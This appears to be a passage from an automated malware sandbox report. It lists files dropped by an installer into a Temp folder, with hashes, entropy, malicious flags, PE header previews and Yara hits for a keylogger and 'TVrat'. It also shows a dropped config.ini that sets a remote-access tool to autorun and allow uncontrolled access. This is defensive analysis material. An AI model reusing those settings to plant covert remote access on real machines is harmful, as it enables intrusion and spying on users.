Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9...}..O}..O}..O.\|*Ol..O.\|(O...O.\|)Oc..O/..Nd..O/..N...O/..N_..O...Ol..O}..O...O..Nh..O..N\|..O.$O\|..O}.LO\|..O..N\|..ORich}..O........PE..L...L..a...........!..... ...........m.......0......................................C.....@.........................0...P...............0................$.......[......p..............................@............0...............................text............ .................. ..`.rdata..H....0.......$..............@..@.data....d... ...D..................@....rsrc...0............X..............@..@.reloc...[.......\...^..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\astrct.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1724088
Entropy (8bit):	6.573221633911959
Encrypted:	false
SSDEEP:	49152:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSvSSSSSSSSSSSSSSSlwwwwwwwwwwwwwwI:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSO
MD5:	E0E559010A1CC7CB6B6F754E8833A156
SHA1:	0ADB286A1511B9D5820B042EE7D059DAEE8D0978
SHA-256:	A49D90D39BCF0FB183A8E2DFDA90E1B745565DDC25C0CC92ED7068868CB8F3E4
SHA-512:	3225A22CA8044FAFE03C005C55924B71EC2D3C9EE2325B45703EADC1F912DD867DD7FADCA0652FA2ACD46D4067575377388134E3CC58B13C0F82540224E98221
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......3...w...w...w....5k.o....5i.....5h.h.......Y...w...:...........%...l...%.......%...R....VQ.d...w................v.....e.v...w...v.......v...Richw...........PE..L..._..`...........!.....@...B...............P......................................Q.....@.........................@Z..H....Z..........(............*...$... ..........p...........................P...@............P..\|............................text....>.......@.................. ..`.rdata..(....P... ...D..............@..@.data........p...2...d..............@....rodata.@...........................@..@.rsrc...(...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\aw_sas32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17648
Entropy (8bit):	6.317642988990049
Encrypted:	false
SSDEEP:	384:ZPkFNiOMTd1th9gQIim+4vBDVU376TFNiWC:iNhMpXgIr4vBBYANi1
MD5:	ACF7048E2347CFD66CD17648DBFBAF45
SHA1:	DF5A12E399176771DC8CF2F7D0CF5548E41E2BB3
SHA-256:	F1CFFBC2ADA8491755C76360AAD14314DEB576AA65F503E52FA24DEE7D33D8E7
SHA-512:	51A53CB700FBB7ABF3BDA3101ED0885572460C1686D07C3D2125C8AA6F0834E30528BEE78CC40EE9270714A16AC769D16F5A916F37F0E48BBF7121202E58E0C0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......):5.m[[.m[[.m[[.d#..o[[.d#..c[[.d#..o[[.d#..j[[.m[Z.S[[.d#..k[[.d#..l[[.d#..l[[.Richm[[.........PE..L......K...........!.........................0...............................p............@..........................<..N...\|6..P....P...............0.......`..$....................................4..@............0...............................text...;........................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc.......`.......,..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\config.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	586
Entropy (8bit):	5.203397968860563
Encrypted:	false
SSDEEP:	12:L1YWzRcSbZKsNlTQ/dw/7y/x5/D++472p+fso+9hffAaJYQMhsK/qI8qP:Z7zRcSbZKKlcMypJD5KxkiaJosBq
MD5:	5D7974984AE3D593B7887CC7BDA866DD
SHA1:	9C0B2EC2659812F1E46F2D32F82E61DF223C674C
SHA-256:	7888BDB632F1BC5EB6DAE5624FE9065868D279E50ACC569D3DDE0F6DB1C95051
SHA-512:	7BDACFBCE85726A683C3A316F578A88D5991E37C8FB1E13FC4715141F5752E7FD5D145AC36730B637E26FD3198EDE2D27E86F5CF7283A0C9B08579B1056B0B70
Malicious:	false
Preview:	[config]..Security.FixPass=4297F44B13955235245B2497399D7A93..Main.Autorun=1..Main.CloseButtonOperation=0..Main.CheckUpdates=0..Security.UseLocalSecuritySettings=1..Security.DynPassKind=0..Security.PassLifetime=0..Security.CanWinAuth=1..Security.AccessKind=1..Security.CanWinLoginAnotherUser=1..Security.UNCONTROLLED_ACCESS=1..Security.CanWinLoginNotAdmin=1..Security.DenyRemoteSettingsControl=0..Security.DenyLockControls=0..Log.ServerStoreTechLog=0..Main.AWAYMODE_REQUIRED=1..Main.LogsLifetime=1..Main.LogsForMail2Support=1..ProxySettings.UseKind=1..ProxySettings.StoreUserAndPassw=1..

C:\Users\user\AppData\Local\Temp\mo6x\hatls.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2236144
Entropy (8bit):	5.624149670958732
Encrypted:	false
SSDEEP:	24576:2HGHuX4EewGQcPryfFMoxJ+4PulW/ChEIgTS/zRUm:2HGOX4CGQtMs+WuVge/em
MD5:	BCCF6A5C2595EEA84533692BB788D8BB
SHA1:	24318226F145E52B7633A4E9E844D6EAD43B75AC
SHA-256:	ABF75DE674428E112F90F1C618218FF73EF851F4F09C5F5BA8B69E79A6C74DBF
SHA-512:	78F24F0812AAE31E83340ADEB1A1AE8C00EDFDF483E299706F863CB713BFDC2501B5418CE8F8BD9131E3C704BFFB58A8CA05C5E0A75EB19F15E0409C5B74E35B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............}...}...}.K....}.K..._.}.K.....}...~..}...y..}.......}...\|.W.}...x...}...x...}...}...}......}.......}.......}.Rich..}.................PE..L..."..[...........!.........x.......................................................,"...@.........................P.,.^....s-.P.....-.0.............".......-.....`.+.8...................@.+.......+.@............p-..............................textbss.T...............................text.......p...................... ..`.rdata....... '.....................@..@.data....`....-..@.... .............@....idata.......p-....... .............@..@.msvcjmc......-....... .............@....tls..........-....... .............@....00cfg........-....... .............@..@.rsrc...0.....-....... .............@..@.reloc........-....... .............@..B................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-2EBQK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	370488
Entropy (8bit):	6.86993159214619
Encrypted:	false
SSDEEP:	6144:wJ9LiOhPhz85popbbFb06wAQAwq961b/v9MkvCq2/JO+UxK6DvX0C7Uxm//f0Ps7:IBi8q5po9JkyICq2/z6DvsyEE5+PgAEX
MD5:	82E49683F540F78B2D1759CDE594482F
SHA1:	352DCBDBBB3C5C927B83389E2AB7F40B66EE716A
SHA-256:	55D99ECD7F821A4B2FE7E5A0B2CEA213DC79004C1DC413BD003F032C61080576
SHA-512:	F50A3BCD5905103EEC344D7DAF1C17896DF9039D3E8D5E9BBD771F1E235EC6045D626ED838C9BF3A8F7A66AA5F41F0743EA7D9BDEF7492DA8B36561089E126BF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k-...~...~...~.......~....l..~.......~.......~.......~.......~.......~...~...~]...k..~]......~]..~...~]......~Rich...~........PE..L....g._.........."!.................U....... ...................................... .....@..........................^......\h..(.......................8.......l....W...............................W..@............ ...............................text............................... ..`.rdata..6N... ...P..................@..@.data...8....p.......^..............@....rsrc................h..............@..@.reloc..l............j..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-2G518.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	172216
Entropy (8bit):	6.698242571688099
Encrypted:	false
SSDEEP:	3072:nGhQI/PxvCWRDvcDfo0F5HekeyO54ECV0/sMHL0WPCCb5rAg0Fujx8E0/3xt9qKv:kPxqWYF5HkyDLMsOzrAOL23VqK28j
MD5:	CF1169A87FE6266C7B457A2424DA69DA
SHA1:	5ADD67DEFD4CA56C1E9C0B239899EA699B140B64
SHA-256:	24E01FD95225E260CDD41015A70374A048568D4DF6681B3D44EAABCB1EA03EAF
SHA-512:	7BF76EB5B4E31A65931AF730909FBF848334BC98DA279E291E186FCAFDC81C76D1EF0EFEC4E00B8EAEDE6F8D130DA8B6B3D3C5DD8C14C6DCD3BCDC7D050A4B66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.%.).K.).K.).K.r.H.$.K.r.N...K.r.O.?.K...J.-.K.{.H.=.K.{.N...K.{.O...K.r.J...K.).J...K...B.!.K...K.(.K.....(.K.)..(.K...I.(.K.Rich).K.................PE..L.....@a...........!.....t...........V..............................................B.....@.........................`X..h....X..P.......(............\|...$...........H..8............................H..@...............8............................text....s.......t.................. ..`.rdata...............x..............@..@.data........p.......P..............@....rsrc...(............\..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-2LPS2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.923181998146335
Encrypted:	false
SSDEEP:	3:Xfq1A81DnsGun:C1A7Gun
MD5:	005E5B1F92F1560540725F159D1542B1
SHA1:	5E1B84A12D4BD5170803158700B325795E97A3A1
SHA-256:	4A848BDC62E826571E5D01B16D09935C902B2080CBF913A185B9A33C925CA7D4
SHA-512:	645B3666626C01B69F6B7E48EC9A61745944485D556769CA87912D2C0FFC68A923434BF84D9EAF4F8CD111F9A58700D865F363A2324B95E408F9019DE0AC7D4A
Malicious:	false
Preview:	.^.rz;.#G...l....=.M#.k..f.M...e

C:\Users\user\AppData\Local\Temp\mo6x\is-4POLO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1724088
Entropy (8bit):	6.573221633911959
Encrypted:	false
SSDEEP:	49152:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSvSSSSSSSSSSSSSSSlwwwwwwwwwwwwwwI:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSO
MD5:	E0E559010A1CC7CB6B6F754E8833A156
SHA1:	0ADB286A1511B9D5820B042EE7D059DAEE8D0978
SHA-256:	A49D90D39BCF0FB183A8E2DFDA90E1B745565DDC25C0CC92ED7068868CB8F3E4
SHA-512:	3225A22CA8044FAFE03C005C55924B71EC2D3C9EE2325B45703EADC1F912DD867DD7FADCA0652FA2ACD46D4067575377388134E3CC58B13C0F82540224E98221
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......3...w...w...w....5k.o....5i.....5h.h.......Y...w...:...........%...l...%.......%...R....VQ.d...w................v.....e.v...w...v.......v...Richw...........PE..L..._..`...........!.....@...B...............P......................................Q.....@.........................@Z..H....Z..........(............*...$... ..........p...........................P...@............P..\|............................text....>.......@.................. ..`.rdata..(....P... ...D..............@..@.data........p...2...d..............@....rodata.@...........................@..@.rsrc...(...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-4UFKS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 168x299, components 3
Category:	dropped
Size (bytes):	8097
Entropy (8bit):	7.94099711365173
Encrypted:	false
SSDEEP:	192:E9NXj7fQ9/RRN0AinryQKGgjkrEQtxH1AYZ18r:E9NzjGkOujEQ3H1V8r
MD5:	2302BC48A162783A6A41C278B3F54145
SHA1:	8C3272769F604DC3AE6C6B98A29CC779532D1783
SHA-256:	1E5F58772571897E96CCA5ACB597DF65F8775E64D7031D6B2CCDBF22D5181F51
SHA-512:	465086DFF63176A864C0BC26BCCFA1FBBA0503F9AFD78A86C863C266469F54069D00BBB718440090A065EA92AD0DD42A67B6A6C99ED6B2378F6A721984A806A6
Malicious:	false
Preview:	......JFIF...................................................( ..&...!1!%)+.....383-7(-.+...........-! .--------------------------------------------------......+...."........................................@........................!1.A.."Qaq..2..#BR...3br........CS...s...............................(......................!.1.AQa".2Rq3...............?.........X..R\|.[..X[q....9$........Q.t.......E..Sv+9.[..a.......J..T..9@.F'..-...$..R.S.\...,.).T..+.T..My.S".]zt.....^.{.EXP.....i..z."].'..6G.H.kU.Q..W5..%i..F..n.{4 .n.m.B.O.h..#.=..$..\|...5..\|'Z......e?...y>6Z...]....]`..Q.<..)..=....H..N..Z.~....O..qL...j.<.......EE......6Z/P>,....P..i.\..PK.W...5..o.........2.\.t./....j8.3/...\|a-%.hx...v.}.Bw.Keck.{....c....G....Z..9o......h.m.Nj..."...j..:...T.n.*Ts........z...K.gl..?O:..F9. /./...,...>...........S.h...m.\..T....5R\|..p......cO..g\M.?....3...JB.......4..$....\|.[.Z...7...\|j..H..r...Y.xcs.e.;...'..%h?..\|fh..oV....j...y\gH.x8....'..8..Qe.G.^.c...^u.

C:\Users\user\AppData\Local\Temp\mo6x\is-5IUGA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	713456
Entropy (8bit):	6.620067101616198
Encrypted:	false
SSDEEP:	12288:RPCS0cSUktNimb/JZqNFcbJ3bZJNlvI8CjBMUC6eVc4/SK:RPCS0c1ktNimbqYZJNlvVc4L
MD5:	96D413CAAF8C7793A96EF200F6695922
SHA1:	ABFB19A5BEA8724A08A3C709B68C65178E8EFBE5
SHA-256:	5C6E5346C4EF80E1DD211BD5519311ACA01025CE1D3811113A03E657938F370D
SHA-512:	93BF7AC89AE64948C3E91294DE89478B0F92D9CEFB71C803ABB324E181D783801C87DD6D806B0DB0D3737B3330E37993AE07B9B7D5AACCA9F9F5C3556E23EEE4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..k...k...k....%B.b....%@....%A.r...P..z...P..}...P..d...Fx.h...k...=...k...J......Y......j.....L.j...k.$.j......j...Richk...........PE..L...Q.xX...........!.........$.......P....................................... ............@.........................0....... ...(.......@........................8..0p..p............................p..@...............\............................text...9........................... ..`.rdata..............................@..@.data...(...........................@....gfids..d...........................@..@.rsrc...@...........................@..@.reloc...8.......:..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-82POG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2236144
Entropy (8bit):	5.624149670958732
Encrypted:	false
SSDEEP:	24576:2HGHuX4EewGQcPryfFMoxJ+4PulW/ChEIgTS/zRUm:2HGOX4CGQtMs+WuVge/em
MD5:	BCCF6A5C2595EEA84533692BB788D8BB
SHA1:	24318226F145E52B7633A4E9E844D6EAD43B75AC
SHA-256:	ABF75DE674428E112F90F1C618218FF73EF851F4F09C5F5BA8B69E79A6C74DBF
SHA-512:	78F24F0812AAE31E83340ADEB1A1AE8C00EDFDF483E299706F863CB713BFDC2501B5418CE8F8BD9131E3C704BFFB58A8CA05C5E0A75EB19F15E0409C5B74E35B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............}...}...}.K....}.K..._.}.K.....}...~..}...y..}.......}...\|.W.}...x...}...x...}...}...}......}.......}.......}.Rich..}.................PE..L..."..[...........!.........x.......................................................,"...@.........................P.,.^....s-.P.....-.0.............".......-.....`.+.8...................@.+.......+.@............p-..............................textbss.T...............................text.......p...................... ..`.rdata....... '.....................@..@.data....`....-..@.... .............@....idata.......p-....... .............@..@.msvcjmc......-....... .............@....tls..........-....... .............@....00cfg........-....... .............@..@.rsrc...0.....-....... .............@..@.reloc........-....... .............@..B................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-88TFK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	970912
Entropy (8bit):	6.9649735952029515
Encrypted:	false
SSDEEP:	12288:LBmFyjLAOQaYkxGXPfY7eiWWcpOKnpTVOIxhK765qlRRb6x4pI23IbJQV:dmFyjLF847eiWWcoGZVOIxh/WxIAIbGV
MD5:	034CCADC1C073E4216E9466B720F9849
SHA1:	F19E9D8317161EDC7D3E963CC0FC46BD5E4A55A1
SHA-256:	86E39B5995AF0E042FCDAA85FE2AEFD7C9DDC7AD65E6327BD5E7058BC3AB615F
SHA-512:	5F11EF92D936669EE834A5CEF5C7D0E7703BF05D03DC4F09B9DCFE048D7D5ADFAAB6A9C7F42E8080A5E9AAD44A35F39F3940D5CCA20623D9CAFE373C635570F7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S9...XlA.XlA.XlA..A.XlA.XmA.XlAQ..A.ZlAQ..AvXlAQ..A!XlAQ..A.XlAQ..A.XlAQ..A.XlAQ..A.XlARich.XlA........PE..L....\|OR.........."!................D............................................... .....@.........................`........R..(....p...................>......d]..@...8...........................H...@............P...............................text............................... ..`.data...4e.......V..................@....idata.......P......................@....rsrc........p.......0..............@..@.reloc..d].......^...4..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-951GK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	581304
Entropy (8bit):	6.580382227041057
Encrypted:	false
SSDEEP:	12288:bj4Q3+oAscridrDg76u3HsBTc9GtIGPi2Emvh5/kJSMl0yomcY/nRwl2Sp:bHYXSTMGtNPitm1yomJ/n+tp
MD5:	CDC5A8221738C1CA66564755BB58138C
SHA1:	EF096A2CAF133D217C202C147855F2CEE7ECD105
SHA-256:	DF5CEF85E92C6FFFAAC0ACDCE645AED3C5FA1F8FE7F9700D84CA08468AD3D5E3
SHA-512:	A9F3E256518771C1C97374E7AE3EE19EBEC0D794CD740E059DBC8289356CF1FB5D4A19F2677DB2ADBB179A73520AAEC67947DCF4C8BCD930206DE4B6CDCAD4C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9...}..O}..O}..O.\|*Ol..O.\|(O...O.\|)Oc..O/..Nd..O/..N...O/..N_..O...Ol..O}..O...O..Nh..O..N\|..O.$O\|..O}.LO\|..O..N\|..ORich}..O........PE..L...L..a...........!..... ...........m.......0......................................C.....@.........................0...P...............0................$.......[......p..............................@............0...............................text............ .................. ..`.rdata..H....0.......$..............@..@.data....d... ...D..................@....rsrc...0............X..............@..@.reloc...[.......\...^..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-AFM1F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	586
Entropy (8bit):	5.203397968860563
Encrypted:	false
SSDEEP:	12:L1YWzRcSbZKsNlTQ/dw/7y/x5/D++472p+fso+9hffAaJYQMhsK/qI8qP:Z7zRcSbZKKlcMypJD5KxkiaJosBq
MD5:	5D7974984AE3D593B7887CC7BDA866DD
SHA1:	9C0B2EC2659812F1E46F2D32F82E61DF223C674C
SHA-256:	7888BDB632F1BC5EB6DAE5624FE9065868D279E50ACC569D3DDE0F6DB1C95051
SHA-512:	7BDACFBCE85726A683C3A316F578A88D5991E37C8FB1E13FC4715141F5752E7FD5D145AC36730B637E26FD3198EDE2D27E86F5CF7283A0C9B08579B1056B0B70
Malicious:	false
Preview:	[config]..Security.FixPass=4297F44B13955235245B2497399D7A93..Main.Autorun=1..Main.CloseButtonOperation=0..Main.CheckUpdates=0..Security.UseLocalSecuritySettings=1..Security.DynPassKind=0..Security.PassLifetime=0..Security.CanWinAuth=1..Security.AccessKind=1..Security.CanWinLoginAnotherUser=1..Security.UNCONTROLLED_ACCESS=1..Security.CanWinLoginNotAdmin=1..Security.DenyRemoteSettingsControl=0..Security.DenyLockControls=0..Log.ServerStoreTechLog=0..Main.AWAYMODE_REQUIRED=1..Main.LogsLifetime=1..Main.LogsForMail2Support=1..ProxySettings.UseKind=1..ProxySettings.StoreUserAndPassw=1..

C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7543992
Entropy (8bit):	6.717610928993395
Encrypted:	false
SSDEEP:	98304:q0f/bCIDcCkgVmZqIXrdoXj++CEKDFBaVOGizeKFUtqiAp+hRWmMLlJ7p1:X/bCIPkgVpycKDFqOLNUtqiAz
MD5:	8002D9E5851728EB024B398CF19DE390
SHA1:	9A1DC7134F3F6FCCB37DFC4DDDA35DFA2875095E
SHA-256:	B8DDE42C70D8C4A3511D5EDFFBC9F7F0C03DBDA980E29693E71344F76DA6BB0F
SHA-512:	6936B6B01F9FC2F2F69DE6AE468A9F7173239BD003AD8B7BC7336C4DD4DB50457E20EC6783B2E8A166D684A56F3F1E9FB701CA903DF3F74E3CA25C46B8A8D00E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp, Author: Joe Security Rule: JoeSecurity_TVrat, Description: Yara detected TVrat, Source: C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....@a..................K..`'.......K.......K...@...........................y.......s..........@............................S..m....X..f ...........r..$... T.8d............T...............T.....................@.S..............................text... .J.......J................. ..`.itext..$.....J.......J............. ..`.data...T"....K..$....K.............@....bss..........M.......M..................idata...m....S..n....M.............@....tls....D.....T......N..................rdata..#.....T......N.............@..@.reloc..8d... T..f...,N.............@..B.rsrc....f ...X..f ...R.............@..@..............y.......r.............@..@................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-JCPUK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	546816
Entropy (8bit):	6.657309146326691
Encrypted:	false
SSDEEP:	12288:DEnhioDz6zv6pmEmE5A8K8ZOO2rKQrbdCPAEI:Dmbz+vomEBHbZO2YCBI
MD5:	13CD45DF8AAA584EBD2A40EDE76F1E06
SHA1:	BAA19E6A965621CB315E5F866EDC179EF1D6B863
SHA-256:	3FF4E80E327F298A11E116A517BE0963A0B3CD376A6A624CAFFACD586E6B1449
SHA-512:	285D7265AC05CECDD43650E5DEF9198B5F2F4D63665739BAA059598E41F4CE892248D3CA7E793AC274DC05B4C19CFA11C17FAEA62FC1E3495C94A03851049328
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z%...K..K..K..sH..K..sN...K..sO..K.4....K..sN..K..sO..K..sH..K..sJ..K..J.k.K..rO.>.K..rK..K..r...K.....K..rI..K.Rich..K.................PE..L......_...........!......................................................................@.............................0...0...x....@.......................P...H......................................@............................................text...D........................... ..`.rdata..ZQ.......R..................@..@.data...x+..........................@....rsrc........@......................@..@.reloc...H...P...J..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-KGLTC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1388688
Entropy (8bit):	6.85745413435775
Encrypted:	false
SSDEEP:	24576:vNaU+KpPikndiNfzN4jH3PlMQzMjYpOtJqTp/kqg1+:xlUfzN4jH3PlyjYpOLqd/kP1+
MD5:	3B838DC25E96877A1852966F75A5C44A
SHA1:	555E1830829B008D66FF591D87AC235F6286AB9A
SHA-256:	292C9367E5F978D2085192B85BCFEA7DF3A033172703BCCF1FF28A74D65D5AC1
SHA-512:	B5A7F05CD721FC75B77BB33528F746E865C2277A32F3AA312A974DE903A817B7C83E7698980A496B5D04595B21926E94CF9F70A15CD0882D57BA25014BA775D6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......lU.(4.y(4.y(4.y!L<y.4.y!L-y34.y(4.y.4.y...y#4.y(4.y=4.y!L;y.6.y!Ly)4.y!L,y)4.y!L)y)4.yRich(4.y................PE..L...#..]...........!.................................................................:...............................A.......6..x.......0...........................p...................................@...............(............................text............................... ..`.rdata..XY.......Z..................@..@.data............t..................@....rsrc...0............Z..............@..@.reloc..,............`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-ND9BQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1074302464
Entropy (8bit):	0.0076066072746656796
Encrypted:	false
SSDEEP:
MD5:	F9EE295F34E22150DB8EDD2392482148
SHA1:	60B9700E56D3D79FB0B2DA7DE1E3B964AC4522A4
SHA-256:	5040D2F22275B4C59FA1D282440B228CA1327A66D5A82A9C6D313271EBAEE91E
SHA-512:	E8FFDF207E8FC62543D9FE51423053F4F762CFC9C5106A422E1A3F30D96478AEC34C9CE7E381DE2FBA3B0745D1A4723EDEC626528E8EB4C5898D58E764F674AA
Malicious:	true
Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L...Q..c...........!...I.p........... ... ..........................................ru....@.....................................................................V....................................................................................edata..............................@..@.code...9o... ...p.................. ..`.data...9............v..............@....rdata..............................@..@.reloc..V...........................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-PDD2G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17648
Entropy (8bit):	6.317642988990049
Encrypted:	false
SSDEEP:	384:ZPkFNiOMTd1th9gQIim+4vBDVU376TFNiWC:iNhMpXgIr4vBBYANi1
MD5:	ACF7048E2347CFD66CD17648DBFBAF45
SHA1:	DF5A12E399176771DC8CF2F7D0CF5548E41E2BB3
SHA-256:	F1CFFBC2ADA8491755C76360AAD14314DEB576AA65F503E52FA24DEE7D33D8E7
SHA-512:	51A53CB700FBB7ABF3BDA3101ED0885572460C1686D07C3D2125C8AA6F0834E30528BEE78CC40EE9270714A16AC769D16F5A916F37F0E48BBF7121202E58E0C0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......):5.m[[.m[[.m[[.d#..o[[.d#..c[[.d#..o[[.d#..j[[.m[Z.S[[.d#..k[[.d#..l[[.d#..l[[.Richm[[.........PE..L......K...........!.........................0...............................p............@..........................<..N...\|6..P....P...............0.......`..$....................................4..@............0...............................text...;........................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc.......`.......,..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\is-SD6OU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
